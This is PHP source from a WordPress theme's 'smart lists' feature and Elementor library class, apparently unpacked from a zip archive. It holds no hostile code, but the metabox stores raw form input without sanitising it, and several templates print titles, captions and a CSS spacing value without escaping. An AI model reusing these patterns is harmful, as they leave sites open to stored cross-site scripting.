			$content .= '<span class="pcsml-item-title">' . $smart_list_2_title . '</span>';
			$content .= '</' . $sm_title_tag . '>';
			$content .= '</div>';

			$content .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
			$content .= '</div>';
		}


		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'thumbnail';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {

			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '<div class="pcsml-figure-wrapper">';
			$content .= '<figure class="pcsml-figure' . $smart_list_lightbox . '">';
			$content .= '<a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . $first_img_caption . '" ' . $first_img_link_target . '>';
			$content .= $img_html;
			$content .= '</a>';
			$content .= '</figure>';

			if ( ! empty( $first_img_caption ) ) {
				$content .= '<figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>';
			}
			$content .= '</div>';
		}

		$content .= '</div>';

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}
}PK     1w\~X*    +  smartlists/templates/penci_smartlists_4.phpnu [        <?php


class Penci_SmartLists_Style_4 extends Penci_SmartLists {
	protected $use_pagination = true;
	protected $atts = array();

	function __construct( $atts ) {
		$this->atts = $atts;
	}


	protected function render_before_list_wrap() {
		return '<div class="pcsml_style_4">';
	}


	protected function render_list_item( $item_array, $current_item_id, $current_item_number, $total_items_number ) {

		$sm_title_tag = isset( $this->atts['sm_title_tag'] ) && $this->atts['sm_title_tag'] ? esc_attr( $this->atts['sm_title_tag'] ) : apply_filters( 'sm_title_tag', 'h2' );


		$content = '';

		//creating each slide
		$content .= '<div class="pcsml-item">';

		$content .= '<div class="pcsml-title-wrapper">';
		$content .= '<' . $sm_title_tag . '>';
		$content .= '<div class="pcsml-item-number"><span>' . $current_item_number . '</span></div>';
		$content .= '<span class="pcsml-item-title">' . $item_array['title'] . '</span>';
		$content .= '</' . $sm_title_tag . '>';
		$content .= '</div>';

		//get image link target
		$first_img_link_target = $item_array['first_img_link_target'];

		//image type and width
		$first_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		if ( isset( $this->atts['first_image_size'] ) && $this->atts['first_image_size'] != '' ) {
			$first_image_size = $this->atts['first_image_size'];
		}

		if ( isset( $this->atts['first_image_msize'] ) && $this->atts['first_image_msize'] != '' && penci_is_mobile() ) {
			$first_image_size = $this->atts['first_image_msize'];
		}

		$first_img_src = wp_get_attachment_image_url( $item_array['first_img_id'], $first_image_size );

		$first_img_info = wp_get_attachment_image_src( $item_array['first_img_id'], $first_image_size );

		//image caption
		$first_img_caption = $item_array['first_img_caption'];

		//image alt
		$first_img_alt = get_post_meta( $item_array['first_img_id'], '_wp_attachment_image_alt', true );

		if ( ! empty( $first_img_info[0] ) ) {


			// class used by magnific popup
			$smart_list_lightbox = " penci-lightbox";

			// if a custom link is set use it
			if ( ! empty( $item_array['first_img_link'] ) && $first_img_src != $item_array['first_img_link'] ) {
				$first_img_src = $item_array['first_img_link'];

				// remove the magnific popup class for custom links
				$smart_list_lightbox = "";
			}

			if ( $this->atts['disablelazy'] ) {
				$img_html = '<img src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			} else {
				$image_width  = $first_img_info[1];
				$image_height = $first_img_info[2];
				$img_html     = '<img width="' . $image_width . '" height="' . $image_height . '" class="penci-lazy" src="' . penci_holder_image_base( $image_width, $image_height ) . '" data-src="' . $first_img_info[0] . '" alt="' . $first_img_alt . '"/>';
			}

			$content .= '
                            <figure class="pcsml-figure pcsml-slide-6' . $smart_list_lightbox . '">
                                <a class="pcsml-image-link" href="' . $first_img_src . '" data-caption="' . esc_attr( $first_img_caption, ENT_QUOTES ) . '" ' . $first_img_link_target . ' >
                                    ' . $img_html . '
                                </a>
                            </figure>
                            <figcaption class="pcsml-caption"><div>' . $first_img_caption . '</div></figcaption>
                            ';
		}

		// ad smart list
		$content .= $this->atts['sm_ad'];


		//adding description
		if ( ! empty( $item_array['description'] ) ) {
			$item_array['description'] = preg_replace( '/<(div)\b([^>]*?)(attachment_' . $item_array['first_img_id'] . ')([^>]*?)>(.*?)<\/div>/', '', $item_array['description'] );
			$content                   .= '<div class="pcsml-desc">' . $item_array['description'] . '</div>';
		}

		$content .= '</div>';


		// render the pagination
		$content .= $this->callback_render_pagination();

		return $content;
	}


	protected function render_after_list_wrap() {
		return '</div>';
	}


}PK     1w\܅:      #  smartlists/class_penci_splitter.phpnu [        <?php


class Penci_Splitter {

	var $list_title_start = 'h3';
	var $list_title_end = 'h3';
	private $list_title_is_open = false;
	private $list_penci_end_smartlists = false;


	private $current_list_item = array();

	private $content = array();


	function __construct() {
		$this->current_list_item = $this->get_empty_list_item();


	}


	function split_to_list_items( $params ) {

		$content             = $params['content'];
		$extract_first_image = $params['extract_first_image'];


		$img_regex = '';
		if ( $extract_first_image === true ) {
			$img_regex = "(<figure.*</figure>)|" .
			             "(<p>.*<a.*<img.*</a>.*</p>)|" .
			             "(<a.*<img.*</a>)|" .
			             "(<p>.*<img.*/>.*</p>)|" .
			             "(<div>.*<img.*/>.*</div>)|" .
			             "(<img.*/>)|";
		}


		$penci_magic_regex = $this->fix_regex(
			"(<$this->list_title_start.*?>)|" .
			"(</$this->list_title_end>)|" .
			$img_regex .
			"(<p>.*[.*penci_end_smartlists.*].*</p>)|" .
			"([.*penci_end_smartlists.*])" );

		$pc_splitter_lists = preg_split( '/' . $penci_magic_regex . '/', $content, - 1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );

		$pc_splitter_lists = array_map( 'trim', $pc_splitter_lists );
		$pc_splitter_lists = array_filter( $pc_splitter_lists, 'strlen' );

		foreach ( $pc_splitter_lists as $list ) {

			if ( $this->is_title_open( $list ) ) {
			} elseif ( $this->is_content_after_smart_list( $list ) ) {
			} elseif ( $this->is_content_before_smart_list( $list ) ) {

			} elseif ( $this->is_title_close( $list ) ) {
			} elseif ( $this->is_title_text( $list ) ) {
			} elseif ( $extract_first_image === true and $this->is_first_image( $list ) ) {
			} elseif ( $this->is_smart_list_end( $list ) ) {
			} elseif ( $this->is_description( $list ) ) {
			}
		}

		if ( ! empty( $this->current_list_item['title'] ) ) {
			$this->buffy['list_items'][] = $this->current_list_item;
		}


		return $this->buffy;
	}


	private function get_empty_list_item() {
		return array(
			'title'                 => '',
			'first_img_id'          => '',
			'description'           => '',
			'read_more_link'        => '',
			'first_img_link'        => '',
			'first_img_link_target' => '',
			'first_img_caption'     => '',
		);
	}

	private function is_title_open( $token ) {
		$matches = array();
		preg_match( '/<' . $this->list_title_start . '.*?>/', $token, $matches );


		if ( ! empty( $matches ) && $this->list_penci_end_smartlists === false ) {
			$this->list_title_is_open = true;

			return true;
		} else {
			return false;
		}


	}

	private function is_title_close( $token ) {
		if ( $token == '</' . $this->list_title_end . '>' ) {
			$this->list_title_is_open = false; //make sure we change the h3 state

			return true;
		} else {
			return false;
		}
	}

	private function is_title_text( $token ) {
		if ( $this->list_title_is_open === true ) {


			if ( ! empty( $this->current_list_item['title'] ) ) {
				$this->buffy['list_items'][] = $this->current_list_item;
			}

			$this->current_list_item          = $this->get_empty_list_item();
			$this->current_list_item['title'] = $token;

			$this->list_title_is_open = false;

			return true;
		} else {
			return false;
		}
	}

	private function is_smart_list_end( $token ) {

		$matches = array();
		preg_match( '/\[.*penci_end_smartlists.*\]/', $token, $matches );

		if ( ! empty( $matches[0] ) ) {
			$this->list_penci_end_smartlists = true;

			return true;
		} else {
			return false;
		}
	}

	private function is_content_before_smart_list( $token ) {
		if ( ( $this->list_title_is_open === true or ! empty( $this->current_list_item['title'] ) ) and $this->list_penci_end_smartlists === false ) {
			return false;

		} else {
			$this->buffy['before_list'][] = $token;

			return true;

		}
	}

	private function is_content_after_smart_list( $token ) {
		if ( $this->list_penci_end_smartlists === true ) {
			$this->buffy['after_list'][] = $token;

			return true;

		} else {
			return false;
		}
	}

	private function is_first_image( $token ) {
		if ( ! empty( $this->current_list_item['first_img_id'] ) ) {
			return false;
		}


		$matches = array();
		preg_match( '/wp-image-([0-9]+)/', $token, $matches );

		if ( ! empty( $matches[1] ) ) {

			$tmp_description = $this->extract_description_from_first_image( $token );

			if ( $tmp_description != '' ) {
				$this->current_list_item['description'] .= $tmp_description;
			}


			$this->current_list_item['first_img_id']          = $this->get_image_id_from_token( $token );
			$this->current_list_item['first_img_link']        = $this->get_image_link_from_token( $token );
			$this->current_list_item['first_img_link_target'] = $this->get_image_link_target_from_token( $token );
			$this->current_list_item['first_img_caption']     = $this->get_caption_from_token( $token );

			return true;
		} else {
			return false;
		}
	}

	private function extract_description_from_first_image( $token ) {
		$matches = array();
		$content = '';


		if ( strpos( $token, '<figure' ) !== false ) {
			return '';
		}


		preg_match_all( '/<a.*\/a>/U', $token, $matches ); //extract all links
		if ( ! empty( $matches[0] ) and is_array( $matches[0] ) ) {
			foreach ( $matches[0] as $match ) {
				if ( strpos( $match, '<img' ) !== false ) {
					$special_chars = array( "(", ")", "^", "$", "|", "?", "*", "+", "{", "}" );
					foreach ( $special_chars as $char ) {
						$escaped_char = '\\' . $char;
						$match        = str_replace( $char, $escaped_char, $match );
					}
					$content = preg_replace( '/' . $this->fix_regex( $match ) . '/', '', $token, 1 );
					break;
				}
			}
		}

		if ( $content == '' ) {
			$matches = array();
			preg_match( '/<img.*\/>/U', $token, $matches ); //extract first image
			if ( ! empty( $matches[0] ) ) {
				$special_chars = array( "(", ")", "^", "$", "|", "?", "*", "+", "{", "}" );
				$char_count    = 0;
				foreach ( $special_chars as $char ) {
					$escaped_char = '\\' . $char;
					if ( $char_count == 0 ) {
						$input_regex = str_replace( $char, $escaped_char, $matches[0] );
						$char_count ++;
					} else {
						$input_regex = str_replace( $char, $escaped_char, $input_regex );
					}
				}
				$content = preg_replace( '/' . $this->fix_regex( $input_regex ) . '/', '', $token, 1 );
			}
		}

		$content = trim( $content );

		return $content;
	}


	private function is_description( $token ) {
		if ( ! empty( $this->current_list_item['title'] ) and $this->list_penci_end_smartlists === false ) {
			$this->current_list_item['description'] .= $token;

			return true;
		} else {
			return false;
		}
	}


	private function get_image_id_from_token( $token ) {
		$matches = array();
		preg_match( '/wp-image-([0-9]+)/', $token, $matches );
		if ( ! empty( $matches[1] ) ) {
			return $matches[1];
		} else {
			return '';
		}
	}

	private function get_image_url_from_token( $token ) {
		$matches = array();
		$return  = '';
		preg_match( '/<img.+src=[\'"](?P<src>.+?)[\'"].*>/i', $token, $matches );
		if ( ! empty( $matches['src'] ) ) {
			$return = $matches['src'];
		}

		return $return;
	}


	private function get_image_link_from_token( $token ) {
		$matches = array();

		if ( strpos( $token, '</figcaption>' ) !== false ) {
			preg_match( '/<figure(.*)href="([^\\"]+)(.*)<figcaption/', $token, $matches );
			if ( ! empty( $matches[2] ) ) {
				return $matches[2];
			} else {
				return '';
			}
		}

		preg_match( '/href="([^\\"]+)"/', $token, $matches );
		if ( ! empty( $matches[1] ) ) {
			return $matches[1];
		} else {
			return '';
		}
	}


	private function get_image_link_target_from_token( $token ) {
		$matches = array();
		preg_match( '/target="([^\\"]+)"/', $token, $matches );
		if ( ! empty( $matches[1] ) ) {
			return 'target="' . $matches[1] . '"';
		} else {
			return '';
		}
	}


	private function get_caption_from_token( $token ) {
		$matches = $matches2 = array();
		preg_match( '/<figcaption[^<>]*>(.*)<\/figcaption>/', $token, $matches );
		preg_match( '/<p id="caption-attachment-[^<>]*>(.*)<\/p>/', $token, $matches2 );
		if ( ! empty( $matches[1] ) ) {
			return $matches[1];
		} else if ( ! empty( $matches2[1] ) ) {
			return $matches2[1];
		} else {
			return '';
		}
	}

	private function fix_regex( $input_regex ) {
		$input_regex = str_replace( '/', '\/', $input_regex );
		$input_regex = str_replace( ']', '\]', $input_regex );
		$input_regex = str_replace( '[', '\[', $input_regex );

		return $input_regex;
	}


}
PK     1w\֏T      smartlists/init.phpnu [        <?php
require_once( PENCI_SOLEDAD_DIR . '/inc/smartlists/class_penci_splitter.php' );
require_once( PENCI_SOLEDAD_DIR . '/inc/smartlists/class_penci_smartlists.php' );
require_once( PENCI_SOLEDAD_DIR . '/inc/smartlists/metabox.php' );

if ( ! function_exists( 'penci_smartlists' ) ) {
	function penci_smartlists( $args ) {
		$default = [
			'style'               => 1,
			'content'             => '',
			'order'               => '',
			'h'                   => 'h3',
			'extract_first_image' => true,
			'sm_title_tag'        => 'h3',
			'sm_ad'               => get_theme_mod( 'penci_ads_inside_content_html' ),
			'first_image_size'    => '',
			'first_image_msize'   => '',
			'disablelazy'         => get_theme_mod( 'penci_disable_lazyload_single' )
		];

		$content  = '';
		$settings = wp_parse_args( $args, $default );

		if ( empty( $settings['style'] ) ) {
			$settings['style'] = get_theme_mod( 'penci_single_smartlists_style', 1 );
		}

		$smart_lists_template = PENCI_SOLEDAD_DIR . '/inc/smartlists/templates/penci_smartlists_' . esc_attr( $settings['style'] ) . '.php';
		if ( file_exists( $smart_lists_template ) ) {
			require_once $smart_lists_template;
		}
		$smart_list_class = 'Penci_SmartLists_Style_' . esc_attr( $settings['style'] );

		if ( class_exists( $smart_list_class ) ) {

			$smart_list_obj      = new $smart_list_class( $settings );
			$smart_list_settings = [
				'post_content'        => $settings['content'],
				'counting_order_asc'  => $settings['order'] == 'asc',
				'penci_smart_list_h'  => $settings['h'],
				'extract_first_image' => $settings['extract_first_image'],
			];

			$content = $smart_list_obj->get_content( $smart_list_settings );
		}

		return $content;
	}
}

if ( ! function_exists( 'penci_smartlists_add_query' ) ) {
	function penci_smartlists_add_query( $vars ) {
		$vars[] = 'list';

		return $vars;
	}

	add_filter( 'query_vars', 'penci_smartlists_add_query' );
}

if ( ! function_exists( 'penci_smartlists_custom_css' ) ) {
	add_action( 'soledad_theme/custom_css', 'penci_smartlists_custom_css' );
	function penci_smartlists_custom_css() {
		$should_render = false;

		if ( is_singular() && 'yes' == get_post_meta( get_the_ID(), 'pcsml_smartlists_enable', true ) ) {
			$should_render = true;
		}

		if ( ! $should_render ) {
			return;
		}

		$custom_css = '';

		$general_style = [
			'penci_sml_heading_cl'           => [
				'.pcsml-el.pcsml-customized-ver .pcsml-title-wrapper .pcsml-item-title,.pcsml-el.pcsml-customized-ver .pcsml-item-title' => 'color:{{VALUE}};'
			],
			'penci_sml_number_cl'            => [
				'.pcsml-el.pcsml-customized-ver .pcsml-item-number span' => 'background-color:{{VALUE}};'
			],
			'penci_sml_number_bcl'           => [
				'.pcsml-el.pcsml-customized-ver .pcsml-item-number span' => 'border:1px solid {{VALUE}};'
			],
			'penci_sml_desc_cl'              => [
				'.pcsml-el.pcsml-customized-ver .pcsml-desc' => 'color:{{VALUE}};'
			],
			'penci_sml_btn_cl'               => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'color:{{VALUE}};'
			],
			'penci_sml_btn_bgcl'             => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'background-color:{{VALUE}};'
			],
			'penci_sml_btn_bdcl'             => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'border:1px solid {{VALUE}};'
			],
			'penci_sml_btn_hcl'              => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button:hover' => 'color:{{VALUE}};'
			],
			'penci_sml_btn_bghcl'            => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button:hover' => 'background-color:{{VALUE}};'
			],
			'penci_sml_btn_bdhcl'            => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button:hover' => 'border:1px solid {{VALUE}};'
			],
			'penci_sml_nav_bgcl'             => [
				'.pcsml-el.pcsml-customized-ver .pcsml-dropdown-wrap, .pcsml-el.pcsml-customized-ver .pcsml-dropdown-wrap .pcsml-dropdown' => 'background-color:{{VALUE}};'
			],
			'penci_sml_nav_bdcl'             => [
				'.pcsml-el.pcsml-customized-ver .pcsml_style_6' => '--pcborder-cl:{{VALUE}};'
			],
			'penci_smartlists_inumber_fsize' => [
				'.pcsml-el.pcsml-customized-ver .pcsml-item-number span' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_heading_fsize' => [
				'.pcsml-el.pcsml-customized-ver .pcsml-title-wrapper .pcsml-item-title' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_text_fsize'    => [
				'.pcsml-el.pcsml-customized-ver .pcsml-desc,.pcsml-el.pcsml-customized-ver .pcsml-desc p' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_btn_fsize'     => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'font-size:{{VALUE}}px',
			]
		];

		$mobile_style = [
			'penci_smartlists_heading_mfsize' => [
				'.pcsml-el.pcsml-customized-ver .pcsml-title-wrapper .pcsml-item-title' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_text_mfsize'    => [
				'.pcsml-el.pcsml-customized-ver .pcsml-desc, .pcsml-el.pcsml-customized-ver .pcsml-desc p' => 'font-size:{{VALUE}}px',
			],
			'penci_smartlists_btn_mfsize'     => [
				'.pcsml-el.pcsml-customized-ver .pcsml-button' => 'font-size:{{VALUE}}px',
			]
		];

		foreach ( $general_style as $mod => $props ) {
			$value = get_theme_mod( $mod );

			if ( $value ) {
				foreach ( $props as $selector => $val ) {
					$custom_css .= $selector . '{' . str_replace( '{{VALUE}}', $value, $val ) . '}';
				}
			}

		}

		foreach ( $mobile_style as $mod => $props ) {
			$value = get_theme_mod( $mod );

			if ( $value ) {
				foreach ( $props as $selector => $val ) {
					$custom_css .= '@media only screen and (max-width: 767px) {' . $selector . '{' . str_replace( '{{VALUE}}', $value, $val ) . '}}';
				}
			}

		}

		$spacing = get_post_meta( get_the_ID(), 'pcsml_smartlists_spacing', true );

		if ( ! empty( $spacing ) ) {
			$custom_css .= '.pcsml-el.pcsml-customized-ver .pcsml-item:not(:last-child){ margin-bottom: ' . $spacing . ';padding: 0 0 ' . $spacing . '; }';
		}

		echo $custom_css;

	}
}
if ( ! function_exists( 'penci_remove_shortcode_trigger_on_specific_pages' ) ) {
	function penci_remove_shortcode_trigger_on_specific_pages( $output, $tag, $attr ) {

		// page ids where we want to remove shortcodes
		$smartlists_enable = get_post_meta( get_the_ID(), 'pcsml_smartlists_enable', true );

		if ( $smartlists_enable ) {

			// array of shortcode tags to be removed.
			$shortcodes_to_remove = array( 'inline_related_posts', 'penci_index', 'penci_recipe', 'portfolio' );
			foreach ( $shortcodes_to_remove as $shortcode_tag ) {
				if ( $shortcode_tag == $tag ) {
					$output = '';
				}
			}
		}

		return $output;

	}

	add_filter( 'do_shortcode_tag', 'penci_remove_shortcode_trigger_on_specific_pages', 20, 3 );
}

if ( ! function_exists( 'penci_remove_smartlist_shortcode' ) ) {
	add_filter( 'the_content', 'penci_remove_smartlist_shortcode', 100, 1 );
	function penci_remove_smartlist_shortcode( $content ) {

		// page ids where we want to remove shortcodes
		$smartlists_enable = get_post_meta( get_the_ID(), 'pcsml_smartlists_enable', true );

		if ( ! $smartlists_enable ) {
			$content = str_replace( '[penci_end_smartlists]', '', $content );
		}

		return $content;

	}
}PK     1w\a!  !    smartlists/metabox.phpnu [        <?php
function Penci_SmartLists_Custom_Metabox() {
	new Penci_SmartLists_Add_Custom_Metabox_Class();
}

if ( is_admin() ) {
	add_action( 'load-post.php', 'Penci_SmartLists_Custom_Metabox' );
	add_action( 'load-post-new.php', 'Penci_SmartLists_Custom_Metabox' );
}

/**
 * The Class.
 */
class Penci_SmartLists_Add_Custom_Metabox_Class {

	/**
	 * Hook into the appropriate actions when the class is constructed.
	 */
	public function __construct() {
		add_action( 'add_meta_boxes', array( $this, 'add_meta_box' ) );
		add_action( 'save_post', array( $this, 'save' ) );
	}

	/**
	 * Adds the meta box container.
	 */
	public function add_meta_box( $post_type ) {
		$post_types = [ 'post' ];
		if ( in_array( $post_type, $post_types ) ) {
			add_meta_box(
				'penci_smartlists_meta'
				, esc_html__( 'Smart Lists Settings For This Post', 'soledad' )
				, array( $this, 'render_meta_box_content' )
				, $post_type
				, 'advanced'
				, 'default'
			);
		}
	}

	/**
	 * Save the meta when the post is saved.
	 *
	 * @param int $post_id The ID of the post being saved.
	 */
	public function save( $post_id ) {

		/*
		 * We need to verify this came from the our screen and with proper authorization,
		 * because save_post can be triggered at other times.
		 */

		// Check if our nonce is set.
		if ( ! isset( $_POST['penci_smartlists_custom_box_nonce'] ) ) {
			return $post_id;
		}

		$nonce = $_POST['penci_smartlists_custom_box_nonce'];

		// Verify that the nonce is valid.
		if ( ! wp_verify_nonce( $nonce, 'penci_smartlists_custom_box' ) ) {
			return $post_id;
		}

		// If this is an autosave, our form has not been submitted,
		//     so we don't want to do anything.
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return $post_id;
		}

		// Check the user's permissions.
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return $post_id;
		}

		// Update the meta field.
		if ( isset( $_POST['pcsml_smartlists_enable'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_enable', $_POST['pcsml_smartlists_enable'] );
		}
		if ( isset( $_POST['pcsml_smartlists_style'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_style', $_POST['pcsml_smartlists_style'] );
		}
		if ( isset( $_POST['pcsml_smartlists_h'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_h', $_POST['pcsml_smartlists_h'] );
		}
		if ( isset( $_POST['pcsml_smartlists_order'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_order', $_POST['pcsml_smartlists_order'] );
		}
		if ( isset( $_POST['pcsml_smartlists_spacing'] ) ) {
			update_post_meta( $post_id, 'pcsml_smartlists_spacing', $_POST['pcsml_smartlists_spacing'] );
		}
	}


	/**
	 * Render Meta Box content.
	 *
	 * @param WP_Post $post The post object.
	 */
	public function render_meta_box_content( $post ) {

		// Add an nonce field so we can check for it later.
		wp_nonce_field( 'penci_smartlists_custom_box', 'penci_smartlists_custom_box_nonce' );

		// Use get_post_meta to retrieve an existing value from the database.
		$smartlists_enable  = get_post_meta( $post->ID, 'pcsml_smartlists_enable', true );
		$smartlists_style   = get_post_meta( $post->ID, 'pcsml_smartlists_style', true );
		$smartlists_h       = get_post_meta( $post->ID, 'pcsml_smartlists_h', true );
		$smartlists_order   = get_post_meta( $post->ID, 'pcsml_smartlists_order', true );
		$smartlists_spacing = get_post_meta( $post->ID, 'pcsml_smartlists_spacing', true );

		if ( empty( $smartlists_h ) ) {
			$smartlists_h = 'h3';
		}

		// Display the form, using the current value.
		?>

        <div class="penci-table-meta">
            <h3>Transform your post into a Smart List format.</h3>
            <p>1. You can add custom content after the Smart Lists by using the following shortcode at the end of the last item:
                <strong
                        class="penci-smartlists-shortcode">[penci_end_smartlists]</strong></p>
            <p>2. Go to <strong>Appearance > Customize > Single Posts > Colors</strong> and <strong>Appearance >
                    Customize > Single Posts > Font Sizes</strong> to customize the Smart Lists Colors & Styles.</p>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_enable" class="penci-format-row">Enable Smart Lists
                        for
                        This Post:</label>
                </div>
                <div class="pcmt-control">
                    <select id="pcsml_smartlists_enable" name="pcsml_smartlists_enable">
                        <option value="" <?php selected( '', $smartlists_enable ); ?>>Disable</option>
                        <option value="yes" <?php selected( 'yes', $smartlists_enable ); ?>>Enable</option>
                    </select>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_style" class="penci-format-row">Smart Lists
                        Style:</label>
                    <p>Change the Default Style at <strong>Appearance > Customize > Single Posts > Default Smart Lists
                            Style.</strong></p>
                </div>
                <div class="pcmt-control">
                    <select id="pcsml_smartlists_style" name="pcsml_smartlists_style">
                        <option value="" <?php selected( '', $smartlists_style ); ?>>Default Customizer Settings
                        </option>
                        <option value="1" <?php selected( '1', $smartlists_style ); ?>>Style 1</option>
                        <option value="2" <?php selected( '2', $smartlists_style ); ?>>Style 2</option>
                        <option value="3" <?php selected( '3', $smartlists_style ); ?>>Style 3</option>
                        <option value="4" <?php selected( '4', $smartlists_style ); ?>>Style 4</option>
                        <option value="5" <?php selected( '5', $smartlists_style ); ?>>Style 5</option>
                        <option value="6" <?php selected( '6', $smartlists_style ); ?>>Style 6</option>
                    </select>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_h" class="penci-format-row">Smart List Content
                        Break from:</label>
                </div>
                <div class="pcmt-control">
                    <select id="pcsml_smartlists_h" name="pcsml_smartlists_h">
                        <option value="h1" <?php selected( 'h1', $smartlists_h ); ?>>Heading 1</option>
                        <option value="h2" <?php selected( 'h2', $smartlists_h ); ?>>Heading 2</option>
                        <option value="h3" <?php selected( 'h3', $smartlists_h ); ?>>Heading 3</option>
                        <option value="h4" <?php selected( 'h4', $smartlists_h ); ?>>Heading 4</option>
                        <option value="h5" <?php selected( 'h5', $smartlists_h ); ?>>Heading 5</option>
                        <option value="h6" <?php selected( 'h6', $smartlists_h ); ?>>Heading 6</option>
                    </select>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_order" class="penci-format-row">Smart List Number
                        Ordered:</label>
                    <p>Apply to <strong>Style 1, Style 2</strong> and <strong>Style 3</strong></p>
                </div>
                <div class="pcmt-control">
                    <select id="pcsml_smartlists_order" name="pcsml_smartlists_order">
                        <option value="desc" <?php selected( 'desc', $smartlists_order ); ?>>Descending</option>
                        <option value="asc" <?php selected( 'asc', $smartlists_order ); ?>>Ascending</option>
                    </select>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <label for="pcsml_smartlists_spacing" class="penci-format-row">Smart List Spacing
                        Between Items:</label>
                </div>
                <div class="pcmt-control">
                    <input placeholder="For example: 10px" type="text" id="pcsml_smartlists_spacing"
                           name="pcsml_smartlists_spacing" value="<?php echo esc_attr( $smartlists_spacing ); ?>">
                </div>
            </div>
        </div>
		<?php
	}
}
PK     1w\#p#  #    blocks/class-penci-library.phpnu [        <?php
class Penci_Library {
	public function __construct() {
		$this->hooks();
		$this->register_templates_source();
	}

	public function hooks() {
		add_action( 'elementor/editor/after_enqueue_scripts', array( $this, 'enqueue' ) );
		add_action( 'elementor/editor/footer', array( $this, 'render' ) );
		add_action( 'elementor/preview/enqueue_styles', array( $this, 'inline_styles' ) );
		add_action( 'wp_ajax_penci_import_library_template', [ $this, 'import_library_template' ] );
	}

	public function import_library_template() {

		$source  = new Penci_Library_Source();
		$slug    = isset( $_POST['template_id'] ) ? sanitize_text_field( wp_unslash( $_POST['template_id'] ) ) : '';
		$kit     = isset( $_POST['kit'] ) ? sanitize_text_field( wp_unslash( $_POST['kit'] ) ) : '';
		$section = isset( $_POST['section'] ) ? sanitize_text_field( wp_unslash( $_POST['section'] ) ) : '';

		$data = $source->get_data( [
			'template_id' => $slug,
			'kit_id'      => $kit,
			'section_id'  => $section
		] );

		wp_send_json_success( $data );
	}

	public function inline_styles() {
		?>
        <style>
            .elementor-editor-active .elementor-add-section-area-button.penci-library-modal-btn:hover,
            .elementor-add-section-area-button.penci-library-modal-btn:hover, .penci-library-modal-btn:hover {
                background: #6eb48c;
                opacity: 0.7
            }
            .elementor-editor-active .elementor-add-section-area-button.penci-library-modal-btn,
            .elementor-add-section-area-button.penci-library-modal-btn, 
            .penci-library-modal-btn {
                margin-left: 5px;
                background: #6eb48c;
                vertical-align: top;
                font-size: 0 !important;
            }
            .penci-library-modal-btn:before {
                content: '';
                width: 16px;
                height: 16px;
                background-image: url('<?php echo PENCI_SOLEDAD_URL . '/images/penci-icon.png';?>');
                background-position: center;
                background-size: contain;
                background-repeat: no-repeat;
            }
            #penci-library-modal .penci-elementor-template-library-template-name {
                text-align: right;
                flex: 1 0 0%;
            }</style>
		<?php
	}

	public function register_templates_source() {
		Elementor\Plugin::instance()->templates_manager->register_source( 'Penci_Library_Source' );
	}

	public function enqueue() {
		wp_enqueue_script( 'penci-blocks', PENCI_SOLEDAD_URL . '/inc/blocks/assets/js/blocks-templates.js', array( 'jquery' ), '1.0.1', true );
	}

	public function render() {
		?>
        <script type="text/html" id="tmpl-elementor-penci-library-modal-header">
            <div class="elementor-templates-modal__header">
                <div class="elementor-templates-modal__header__logo-area">
